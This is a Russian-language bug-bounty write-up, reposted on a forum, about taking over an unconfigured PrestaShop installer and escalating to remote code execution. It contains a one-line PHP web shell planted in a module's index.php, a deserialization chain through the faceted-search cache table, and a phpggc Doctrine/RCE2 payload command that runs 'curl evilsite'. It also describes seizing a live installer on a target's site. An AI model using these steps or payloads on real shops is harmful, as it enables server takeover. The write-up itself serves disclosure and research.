Громим PrestaShop. Как я захватил инсталл интернет-магазина на багбаунти

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
В этой статье я расскажу, как одна маленькая ошибка с установочным скриптом в CMS PrestaShop может открыть дверь для удаленного выполнения кода. Оказалось, что некоторые аспекты этой CMS устроены так, что не подлежат исправлению и создают опасные лазейки для опытных хакеров.

Я изучил две уникальные RCE-уязвимости, которые останутся открытыми для эксплуатации, и провел успешный пробив через десериализацию в движке кеша, воспользовавшись трюком с базой данных.

Дальше я постараюсь не просто описать кейс о найденных уязвимостях, а вдохновить тебя, рассказав о скрытых возможностях багбаунти. Готов погружаться в детали?


Как все начиналось​

Эта история случилась со мной не так давно. Я участвовал в багбаунти и бороздил просторы скоупа в поисках уязвимостей. И тут наткнулся на ненастроенный инстанс PrestaShop у одного из больших вендоров с хорошими выплатами. Я был впечатлен своей находкой и сразу же начал искать информацию о векторах проникновения и способах эксплуатации.

Оказалось, что такой информации вообще нет и придется все выяснять самому.

Поскольку это суровый мир багбаунти, где ты должен быть быстрее других, я решил немедленно завершить настройку сам, ведь если бы этого не сделал я, сделал бы кто‑то другой.

Процесс устроен так же, как и в других CMS вроде WordPress или Joomla. Необходимо пройти несколько шагов установки. Из важных я могу выделить два:
  1. Настройка базы данных (MySQL). Необходимо указать адрес сервера, логин и пароль к нему (есть возможность сразу проверить соединение).
  2. Ввод пароля для аккаунта администратора.
И если со вторым пунктом все просто и понятно, пароль мы уж как‑нибудь зададим, то для первого есть целый ряд проверок, которые нужно пройти, чтобы установка считалась завершенной. Эта установка может быть доступна только один раз, я хотел сразу проверить возможные баги. Например:
  1. Возможна ли тут слепая SSRF с импактом (например, поменять протокол, использовать врапперы, подключиться к внешнему хосту и предложить NTLM-аутентификацию, посканить локальную сеть).
  2. Поскольку это MySQL, возможно ли у нас чтение файлов через Rogue MySQL (включена ли функция --enable-local-infile на клиенте).
Но мы не хотим отвлекаться на долгие проверки, потому что в это время кто‑то может успеть увести у нас доступ к установщику. По‑всякому сканировать сеть через подключение к MySQL звучит не очень перспективно и не даст нам никаких реальных способов атаки. Из других векторов же ничего не сработало.

Если указать localhost в качестве хоста для базы данных, то получаем сообщение об ошибке service timeout.

Но без базы завершить установку не выйдет, поэтому быстренько поднимем свой сервис MySQL и укажем его при настройке PrestaShop.

Завершаем установку, и вот мы владельцы сервиса и полностью контролируем его БД. Теперь никакие конкуренты не смогут угнать учетную запись.

Но заканчивать на этом было бы преждевременно, нужно попробовать раскрутить эту уязвимость до RCE.

Первое, что приходит на ум по аналогии с WordPress, — это зайти как админ, скрафтить уязвимый плагин и установить его. Давай посмотрим, можно ли тут провернуть нечто такое.

Чтобы никак не сломать инстанс приложения, я поднял точно такую же версию у себя и все эксперименты сначала тестировал на ней. Номер версии я выяснил еще при установке приложения.


RCE через плагин​

Первым делом я узнал, что панель админа в разных инсталлах PrestaShop находится по разным адресам, потому что для установки требуется переименовать папку admin на сервере. Выходит, мы не можем просто дописать в конце пути admin, как это делается в случае с другими CMS.

Что ж, придется немного посканировать директории, но сначала я вручную попробовал самые простые варианты и с первой попытки угадал правильный — это был /admin1!

Окно входа в панель администратора


Данные учетки у нас уже есть, поскольку мы сами их задали при завершении установки.

В своей локальной копии приложения я без труда нашел возможность устанавливать модули:

Код: Скопировать в буфер обмена
http://localhost:8080/admin1/index.php/modules/addons/modules/catalog?_token=17fwQY9OYfPHB
image2.png


Теперь нам нужен вредоносный модуль, который будет давать нам шелл. Я начал смотреть, как работают плагины к PrestaShop, для этого скачал модуль из магазина и сразу же заглянул в исходный код.

По факту это ZIP-архив, внутри которого — код на PHP. Достаточно просто изменить index.php, чтобы получить RCE.

Код index.php до изменения



Код после изменения


Добавляем вот такой кусочек — исполнение команд через параметр cmd:
Код: Скопировать в буфер обмена
if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; };
Пакуем в ZIP и загружаем модуль — пока что в наш локальный инсталл.

Исполнение кода доступно вот по такому адресу:
Код: Скопировать в буфер обмена
http://localhost:8080/modules/autoupgrade/index.php? cmd=whoami
Успех!


Можно идти получать RCE на продакшене! Но тут меня ждала еще одна проблема. Чтобы администраторская панель работала, установочная директория /install должна быть удалена.

Я, вероятно, использовал другой способ установки приложения, поэтому папка /install при установке автоматически удалилась, и я такой ошибки не встретил. На продакшен‑сервере же она присутствует, и удалить ее невозможно, пока у нас нет шелла.

Выходит, наша учетка бесполезна. Но у нас еще остается доступ к базе данных! Мы ведь ее контролируем полностью, поэтому можем не только читать данные, но и записывать. Давай посмотрим, что из этого можно выжать.

RCE через cache engine deserialization (?)​

Поскольку у нас есть исходный код для этой CMS, можно посмотреть, как приложение взаимодействует с базой данных и есть ли там баги. Самым сочным багом, конечно же, было бы исполнение кода, так что искать будем сразу с прицелом на это.

Раз мы имеем дело с PHP, можем посмотреть, как реализована десериализация данных, поскольку там часто встречаются опасные уязвимости.

Поискав по исходникам, находим кое‑что интересное вот здесь:
Код: Скопировать в буфер обмена
modules/ps_facetedsearch/src/Filters/Block.php:186
image6.png


Тут в функцию десериализации передается значение, полученное из базы данных. Давай разберемся, в каких условиях это происходит.

С PrestaShop идет дефолтный модуль ps_facetedsearch, он находится по пути modules/ps_facetedsearch.

Этот модуль кеширует фильтры для поиска товаров. Как только пользователь создает фильтр (например, выбирает категорию), в базе данных создается запись со значениями hash — хеш фильтра — и data — сериализованный объект (настройки фильтра).

Вот как это выглядит в базе.

image7.png


При обновлении страницы модуль ищет значение data по этому хешу и его десериализует. Соответственно, имея доступ к базе данных, мы можем заменить этот сериализованный объект своим и проэксплуатировать десериализацию.

Далее нам необходимо найти гаджет.

Десериализация гаджетов PHP​

Смотрим исходный код модулей и документацию.
From the 1.7.6 version of PrestaShop we integrate support of Doctrine services and entities for modules. Doctrine is a powerful ORM allowing you to manage your database data via objects.
Нажмите, чтобы раскрыть...
Наша версия — 1.7.8.9, а значит, есть поддержка Doctrine.

Пробуем гаджеты для Doctrine из phpggc и находим необходимый — Doctrine/RCE2.

Вот и всё! У нас есть возможность записать свое значение в базу данных, вызвать десериализацию и получить шелл в системе.

Эксплуатация​

Теперь по каждому шагу эксплуатации.

Сначала нужно убедиться, что база данных для кеш‑модуля пустая.

image8.png


Заходим в приложение.

image9.png



Выставляем фильтр для поиска (поставили галку).

image10.png



Убедимся, что в базе появились записи для кеша.

image11.png


Подготовим нагрузку из phpggc:
Код: Скопировать в буфер обмена
docker run phpggc7.4 Doctrine/RCE2 system 'curl evilsite'
В базе данных изменим значение data на наш пейлоад в таблице prestashop.ps_layered_filter_block.

image12.png



Обновим страницу и получим исполнение кода.

image13.png


Мы успешно получаем подключение к подконтрольному серверу (исполнение через curl).

image14.png


Повторили это на проде и получили RCE!

Ответственное разглашение​

Я связался с командой безопасности PrestaShop и сообщил детали второй уязвимости, поскольку для первого кейса через загрузку модулей это RCE by design.

Для второго кейса они решили не устранять уязвимость и были не против публикации информации. Поэтому и ты теперь в курсе!

Автор @tr3harder
хакер.ру
 
Сверху Снизу